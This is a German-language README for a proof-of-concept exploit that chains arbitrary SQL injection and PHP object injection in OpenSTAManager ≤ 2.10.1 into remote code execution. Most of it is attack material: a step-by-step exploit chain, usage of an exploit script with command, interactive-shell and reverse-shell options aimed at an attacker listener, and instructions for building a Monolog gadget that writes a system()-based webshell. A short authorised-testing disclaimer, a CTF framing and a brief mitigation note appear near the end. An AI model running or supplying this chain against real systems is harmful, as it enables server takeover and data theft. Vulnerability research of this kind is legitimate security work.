
Proof-of-Concept-Exploit für CVE-2026-29782, das SQL-Injection und PHP-Object-Injection zu Remote-Code-Ausführung in OpenSTAManager verknüpft. Enthält Optionen für Webshell-Bereitstellung und Reverse Shell.
PoC für Remote Code Execution in OpenSTAManager ≤ 2.10.1.
oauth2.php sucht eine zz_oauth2-Zeile über den angreiferkontrollierten state-GET-Parameter und ruft unserialize() auf dessen access_token-Spalte ohne eine allowed_classes-Einschränkung auf (Models\OAuth2::checkTokens() / getAccessToken()). Das ist eine PHP-Objektinjektions-Senke.
Für sich allein ist sie nicht ausnutzbar — man kann das Objekt nicht platzieren. In Kombination mit der uneingeschränkten beliebigen SQL-Funktion im -Modul (, keine Query-Allowlist in der 2.9.x-Linie — ) kann ein authentifizierter Admin ein serialisiertes POP-Gadget in einfügen und dann aufrufen, um es auszulösen.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98zz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← beliebiges SQL
└─ INSERT Gadget-Blob in zz_oauth2.access_token (gekeyt über `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ POP-Gadget __destruct() → Datei-Schreiben
└─ GET /<webshell>.php?c=<cmd> ← Codeausführung als Web-Benutzer
⚠️ Nur für autorisierte Tests. Veröffentlicht für Bildungszwecke, CTF-Spiel (geschrieben gegen HTB: Enigma) und defensive Forschung. Die Ausführung gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche schriftliche Testgenehmigung hast, ist illegal. Keine Garantie. Siehe LICENSE.
| Produkt | OpenSTAManager (devcode-it/openstamanager) |
| Objektinjektions-Senke | ≤ 2.10.1 — behoben in 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| Beliebige-SQL-Kette | 2.9.x-Linie (risolvi-conflitti-database erhielt später in 2.10.x eine Allowlist) |
| Verifiziert gegen | 2.9.8, PHP 8.3, MySQL 8.0 |
Der 2.9.x-Zweig bündelt monolog/monolog ^3.0, daher verwendet dieses PoC ein Monolog-3.x-Datei-Schreib-Gadget (phpggc Monolog/FW1), um die Webshell abzulegen. Das vermeidet bewusst die Abhängigkeit von aktiviertem system()/exec() oder davon, welche Laravel-Komponenten vorhanden sind.
requests — pip install -r requirements.txtphpggc + php-CLI im PATH
(nur zum Erstellen des Gadgets verwendet; oder --payload-file mit einem vorgefertigten Blob angeben)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [action]
Aktionen:
--cmd 'id' einen Befehl ausführen, Ausgabe anzeigen
--shell einfache interaktive Eingabeaufforderung
--lhost 10.10.14.5 --lport 4444 Bash-Reverse-Shell
--drop-only nur die Webshell ablegen, deren URL ausgeben
nützliche Flags:
--module-id 6 Aggiornamenti-Modul-ID (Standard 6)
--phpggc ./phpggc/phpggc Pfad zu phpggc
--payload-file blob.bin phpggc überspringen, vorgefertigten Monolog/FW1-Blob verwenden
--webshell-name name.php Dateiname, der im Web-Root abgelegt wird
--proxy http://127.0.0.1:8080
--keep die injizierte zz_oauth2-Zeile an Ort und Stelle belassen
# RCE nachweisen
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# interaktiv
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# Reverse-Shell (zuerst `nc -lvnp 4444` ausführen)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
Manuelles Vorab-Erzeugen des Gadgets (entspricht dem, was das Skript tut):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ASCII-sichere S:-String-Kodierung (übersteht die TEXT-Spalte bytegenau);
-f = Fast-Destruct (das Objekt feuert unmittelbar nach unserialize(), bevor OpenSTAManager ->hasExpired() darauf aufruft und eine Ausnahme wirft).
POST /index.php op=login&username=&password= (Erfolg = 302 weg von index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>. Jedes Element wird an $dbo->query() übergeben; der 2.9.x-Zweig wendet keine Allowlist an. Das PoC fügt ein CREATE TABLE … / DROP TABLE …-Paar hinzu, um ein implizites COMMIT zu erzwingen (der Endpunkt lässt Schreibvorgänge andernfalls in einer nicht festgeschriebenen Transaktion). Der Handler gibt außerdem MySQL-Fehlermeldungen aus, was einen extractvalue()-Lese-Orakel ergibt (OSM.sql_extract() im Code).INSERT in zz_oauth2 einer Zeile mit bekanntem state und access_token = 0x<hex(gadget)>; class wird auf den echten Provider Modules\Emails\OAuth2\Google gesetzt.GET /oauth2.php?state=<state>&code=x. configure() ruft needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token) ohne allowed_classes auf. Das __destruct des Monolog-Gadgets schreibt die Webshell. Die Antwort ist HTTP 500 — erwartet.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]]) und der Aggiornamenti-SQL-Runner ist allow-listed.modules/aggiornamenti/ auf vertrauenswürdige Administratoren; überwache zz_oauth2-Schreibvorgänge und Anfragen an oauth2.php.Forschung & PoC beim Rooten von HTB: Enigma.